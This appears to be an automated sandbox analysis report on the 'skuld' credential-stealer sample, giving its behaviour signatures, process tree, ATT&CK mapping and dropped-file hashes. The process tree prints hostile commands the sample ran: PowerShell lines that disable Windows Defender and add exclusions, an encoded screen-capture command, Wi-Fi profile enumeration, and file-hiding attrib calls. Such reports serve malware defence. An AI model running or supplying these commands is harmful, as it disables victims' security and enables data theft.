Overview

overview

10

Static

static

3

skuld-main.exe

windows7-x64

10

skuld-main.exe

windows10-2004-x64

9

Analysis

  • max time kernel
    150s
  • max time network
    104s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25/07/2024, 09:39

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General

  • Target
    skuld-main.exe
  • Size 3.9MB
  • Sample240725-lmm8fstfpb
  • SHA256 fd27388ee0e064cc6c28557ced21dd581e98938449e1fa90e77de6961665f8db
  • MD5 SHA1 SHA512 SSDEEP
Score
9/10
credential_accessdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationspywarestealer

Malware Config

Signatures

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

    credential_accessstealer
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Drops file in Drivers directory 3 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

    discovery
  • Detects videocard installed 1 TTPs 2 IoCs

    Uses WMIC.exe to determine videocard installed.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies system certificate store 2 TTPs 6 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 40 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\skuld-main.exe
    "C:\Users\Admin\AppData\Local\Temp\skuld-main.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2272
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\helper.bat" "
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:416
      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\skuld.sfx.exe
        skuld.sfx.exe
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4564
        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\skuld.exe
          "C:\Users\Admin\AppData\Local\Temp\RarSFX0\skuld.exe"
          4⤵
          • Drops file in Drivers directory
          • Executes dropped EXE
          • Adds Run key to start application
          • Maps connected drives based on registry
          • Modifies system certificate store
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4292
          • C:\Windows\system32\attrib.exe
            attrib +h +s C:\Users\Admin\AppData\Local\Temp\RarSFX0\skuld.exe
            5⤵
            • Views/modifies file attributes
            PID:4424
          • C:\Windows\system32\attrib.exe
            attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
            5⤵
            • Views/modifies file attributes
            PID:3596
          • C:\Windows\System32\Wbem\wmic.exe
            wmic csproduct get UUID
            5⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1760
          • C:\Windows\System32\Wbem\wmic.exe
            wmic path win32_VideoController get name
            5⤵
            • Detects videocard installed
            • Suspicious use of AdjustPrivilegeToken
            PID:3048
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\RarSFX0\skuld.exe
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:2280
          • C:\Windows\System32\Wbem\wmic.exe
            wmic os get Caption
            5⤵
              PID:3952
            • C:\Windows\System32\Wbem\wmic.exe
              wmic cpu get Name
              5⤵
                PID:948
              • C:\Windows\System32\Wbem\wmic.exe
                wmic path win32_VideoController get name
                5⤵
                • Detects videocard installed
                PID:1824
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
                5⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:388
              • C:\Windows\System32\Wbem\wmic.exe
                wmic csproduct get UUID
                5⤵
                  PID:1236
                • C:\Windows\system32\attrib.exe
                  attrib -r C:\Windows\System32\drivers\etc\hosts
                  5⤵
                  • Drops file in Drivers directory
                  • Views/modifies file attributes
                  PID:4600
                • C:\Windows\system32\attrib.exe
                  attrib +r C:\Windows\System32\drivers\etc\hosts
                  5⤵
                  • Drops file in Drivers directory
                  • Views/modifies file attributes
                  PID:3608
                • C:\Windows\system32\netsh.exe
                  netsh wlan show profiles
                  5⤵
                  • Event Triggered Execution: Netsh Helper DLL
                  • System Network Configuration Discovery: Wi-Fi Discovery
                  PID:5044
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1740
                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\il5gzbhx\il5gzbhx.cmdline"
                    6⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2528
                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESDF44.tmp" "c:\Users\Admin\AppData\Local\Temp\il5gzbhx\CSCD238C4656F24D5688C2A38E1C9280B9.TMP"
                      7⤵
                        PID:4792

          Network

                MITRE ATT&CK Enterprise v15

                Reconnaissance

                Resource Development

                Initial Access

                Execution

                Command and Scripting Interpreter

                1
                T1059

                PowerShell

                1
                T1059.001

                Persistence

                Boot or Logon Autostart Execution

                1
                T1547

                Registry Run Keys / Startup Folder

                1
                T1547.001

                Event Triggered Execution

                1
                T1546

                Netsh Helper DLL

                1
                T1546.007

                Privilege Escalation

                Boot or Logon Autostart Execution

                1
                T1547

                Registry Run Keys / Startup Folder

                1
                T1547.001

                Event Triggered Execution

                1
                T1546

                Netsh Helper DLL

                1
                T1546.007

                Defense Evasion

                Hide Artifacts

                1
                T1564

                Hidden Files and Directories

                1
                T1564.001

                Modify Registry

                2
                T1112

                Obfuscated Files or Information

                1
                T1027

                Command Obfuscation

                1
                T1027.010

                Subvert Trust Controls

                1
                T1553

                Install Root Certificate

                1
                T1553.004

                Credential Access

                Credentials from Password Stores

                1
                T1555

                Credentials from Web Browsers

                1
                T1555.003

                Unsecured Credentials

                4
                T1552

                Credentials In Files

                4
                T1552.001

                Discovery

                Browser Information Discovery

                1
                T1217

                Peripheral Device Discovery

                1
                T1120

                Query Registry

                2
                T1012

                System Information Discovery

                4
                T1082

                System Location Discovery

                1
                T1614

                System Language Discovery

                1
                T1614.001

                System Network Configuration Discovery

                1
                T1016

                Wi-Fi Discovery

                1
                T1016.002

                Lateral Movement

                Collection

                Data from Local System

                3
                T1005

                Command and Control

                Web Service

                1
                T1102

                Exfiltration

                Impact

                Replay Monitor

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                Downloads

                powershell.exe.log
                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                • MD5 SHA1 SHA512
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d
                • MD5 SHA1 SHA512
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 d6fa39eab7ee36f44dc3f9f2839d098433db95c1eba924e4bcf4e5c0d268d961
                • MD5 SHA1 SHA512
                Submit Download

                RESDF44.tmp
                • Path C:\Users\Admin\AppData\Local\Temp\RESDF44.tmp
                • Size 1KB
                • SHA256 7af460dd0655443f81a9cbe612f65bfef8cb75500bd9fb0efccf0f57ed7bf0df
                • MD5 SHA1 SHA512
                Submit Download

                helper.bat
                • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\helper.bat
                • Size 19B
                • SHA256 78b08486655044ecdbb7d710b895830469ba8ca48ee4bc32b721e83f0f4f2905
                • MD5 SHA1 SHA512
                Submit Download

                skuld.exe
                • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\skuld.exe
                • Size 9.5MB
                • SHA256 72614853b5345d3672df3e26a1ad39df61c87d882e40503651a9f237472c018d
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                skuld.sfx.exe
                • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\skuld.sfx.exe
                • Size 3.7MB
                • SHA256 a94ea7310ba474d5e22faf966dc930915b18d2d54178f2ae31af20156ea9360a
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                Display (1).png
                • Path C:\Users\Admin\AppData\Local\Temp\Z0vTmiVWyX\Display (1).png
                • Size 423KB
                • SHA256 d9278db857df44c21b562d2aa3538bd322da41601c449418c412af139c5e13c6
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                __PSScriptPolicyTest_kkxn0nwc.mld.ps1
                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kkxn0nwc.mld.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512
                Submit Download

                il5gzbhx.dll
                • Path C:\Users\Admin\AppData\Local\Temp\il5gzbhx\il5gzbhx.dll
                • Size 4KB
                • SHA256 cfa2842a07dbca9617dfe636be898a66a6fe3717a9db6394ce9ce278891b7c09
                • MD5 SHA1 SHA512
                Submit Download

                hosts
                • Path C:\Windows\System32\drivers\etc\hosts
                • Size 2KB
                • SHA256 ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075
                • MD5 SHA1 SHA512
                Submit Download

                CSCD238C4656F24D5688C2A38E1C9280B9.TMP
                • Path \??\c:\Users\Admin\AppData\Local\Temp\il5gzbhx\CSCD238C4656F24D5688C2A38E1C9280B9.TMP
                • Size 652B
                • SHA256 57e21339ee8fa9e8d6a41d6b7891c2ac6d9ee76f5e9fa0aa98f0cf116b3faa47
                • MD5 SHA1 SHA512
                Submit Download

                il5gzbhx.0.cs
                • Path \??\c:\Users\Admin\AppData\Local\Temp\il5gzbhx\il5gzbhx.0.cs
                • Size 1004B
                • SHA256 8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
                • MD5 SHA1 SHA512
                Submit Download

                il5gzbhx.cmdline
                • Path \??\c:\Users\Admin\AppData\Local\Temp\il5gzbhx\il5gzbhx.cmdline
                • Size 607B
                • SHA256 636b2411a7965343160ace04ce0d61d7ab23e22efc7977d758298624fb06879d
                • MD5 SHA1 SHA512
                Submit Download

                memory/1740-80-0x000001EEB0710000-0x000001EEB0718000-memory.dmp
                Download

                memory/2280-22-0x0000027BD8DC0000-0x0000027BD8DE2000-memory.dmp
                Download